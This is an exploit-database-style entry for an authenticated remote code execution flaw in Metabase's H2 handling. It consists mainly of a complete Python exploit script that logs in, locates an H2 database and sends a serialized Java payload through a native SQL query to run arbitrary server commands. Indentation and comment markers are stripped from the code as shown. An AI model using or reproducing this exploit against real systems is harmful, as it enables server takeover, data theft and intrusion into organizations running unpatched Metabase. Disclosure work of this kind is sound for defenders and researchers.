Exploit Title: Metabase 0.61.0 - Authenticated Remote Code Execution
Date: 2026-08-12
Exploit Author: Gutierre0x80
Vendor Homepage: https://www.metabase.com/
Software Link: https://github.com/metabase/metabase
Version: >= 0.58.0 < 0.58.15, >= 0.59.0 < 0.59.12, >= 0.60.0 < 0.60.6.3, >= 0.61.0 < 0.61.1.4
CVE: CVE-2026-59827
#
Advisory:
https://github.com/metabase/metabase/security/advisories/GHSA-w95f-x9v9-wv36
#
Description:
Metabase instances with an H2 database connection, including the default
sample database, deserialize arbitrary Java objects returned by native H2
queries in result columns of type OTHER without validation. An authenticated
user with permission to execute native queries against an accessible H2
database can exploit this behavior to execute arbitrary operating-system
commands on the Metabase server.
#
Requirements:
- Valid Metabase credentials
- Permission to execute native database queries
- Access to an H2 database connection, including the default sample database
#
Download:
git clone https://github.com/Gutierre0x80/CVE-2026-59827.git
cd CVE-2026-59827
#
Usage:
python3 exploit.py
#
Example:
python3 exploit.py http://127.0.0.1:3000 admin@example.com 'Password123!' 'id'
#
Repository:
https://github.com/Gutierre0x80/CVE-2026-59827
#!/usr/bin/env python3
"""
Metabase - Authenticated RCE via H2 Java Deserialization in Native SQL
Affects: <= v0.61.1 (latest at time of disclosure)
Usage:
python3 exploit.py
Example:
python3 exploit.py http://127.0.0.1:3000 admin@admin.com Admin1234! "id"
Required files (same directory as this script):
clojure-1.12.3.jar
VarChainPayload.class
"""
import os
import sys
import subprocess
import requests
HERE = os.path.dirname(os.path.realpath(__file__))
CLJ_JAR = os.path.join(HERE, "clojure-1.12.3.jar")
CLASSPATH = f":{CLJ_JAR}:{HERE}"
def die(msg):
print(f"[-] {msg}", file=sys.stderr)
sys.exit(1)
def check_deps():
missing = []
Check local files
for p in [CLJ_JAR, os.path.join(HERE, "VarChainPayload.class")]:
if not os.path.isfile(p):
missing.append(os.path.basename(p))
if missing:
die(f"Missing files in {HERE}: {missing}")
Check system binaries
try:
subprocess.run(["java", "-version"], capture_output=True, timeout=5, check=True)
except (FileNotFoundError, subprocess.CalledProcessError):
die("Java not found or not working. Install OpenJDK 11+ and add to PATH")
try:
import requests
except ImportError:
die("Python 'requests' library not found. Install with: pip install requests")
def get_token(session, url, user, password):
r = session.post(f"{url}/api/session",
json={"username": user, "password": password}, timeout=15)
r.raise_for_status()
token = r.json().get("id")
if not token:
die(f"Authentication failed: {r.text[:200]}")
return token
def get_h2_db_id(session, url, token):
r = session.get(f"{url}/api/database",
headers={"X-Metabase-Session": token}, timeout=15)
r.raise_for_status()
data = r.json()
dbs = data.get("data", data) if isinstance(data, dict) else data
for db in dbs:
if db.get("engine") == "h2":
return db["id"], db["name"]
die("No H2 database found in this Metabase instance.")
def generate_payload(command):
result = subprocess.run(
["java",
"--add-opens", "java.base/java.util=ALL-UNNAMED",
"-cp", CLASSPATH,
"VarChainPayload", command],
capture_output=True, text=True, timeout=30
)
payload = result.stdout.strip()
if not payload:
die(f"Payload generation failed:\n{result.stderr}")
return payload
def fire(session, url, token, db_id, payload_hex):
sql = f"SELECT CAST(X'{payload_hex}' AS OTHER)"
r = session.post(
f"{url}/api/dataset",
headers={"X-Metabase-Session": token},
json={"database": db_id, "native": {"query": sql}, "type": "native"},
timeout=30
)
return r.json()
def main():
if len(sys.argv) != 5:
print(__doc__)
sys.exit(1)
_, url, user, password, command = sys.argv
url = url.rstrip("/")
check_deps()
s = requests.Session()
s.headers.update({"Content-Type": "application/json"})
print(f"[*] Target : {url}")
print(f"[*] User : {user}")
print(f"[*] Command : {command}")
print()
print("[*] Authenticating...")
token = get_token(s, url, user, password)
print(f"[+] Session : {token}")
print("[*] Locating H2 database...")
db_id, db_name = get_h2_db_id(s, url, token)
print(f"[+] Database : {db_name} (id={db_id})")
print("[*] Generating payload...")
payload = generate_payload(command)
print(f"[+] Payload : {len(payload) // 2} bytes")
print("[*] Firing exploit...")
result = fire(s, url, token, db_id, payload)
error = str(result)
ran_indicators = [
"ClassCastException", # normal: Process cast to Number
"ProcessImpl", # process object leaked in error
"NonTransientConnection", # H2 lock after exec triggered reconnect
"JdbcSQLData", # deserialization error after exec
]
if any(ind in error for ind in ran_indicators):
print("[+] RCE executed — H2 error after deserialization confirms command ran")
else:
print(f"[?] Unexpected response (command may not have run): {error[:300]}")
print()
print("[*] Done. If the command writes output to a file, retrieve it separately.")
if __name__ == "__main__":
main()
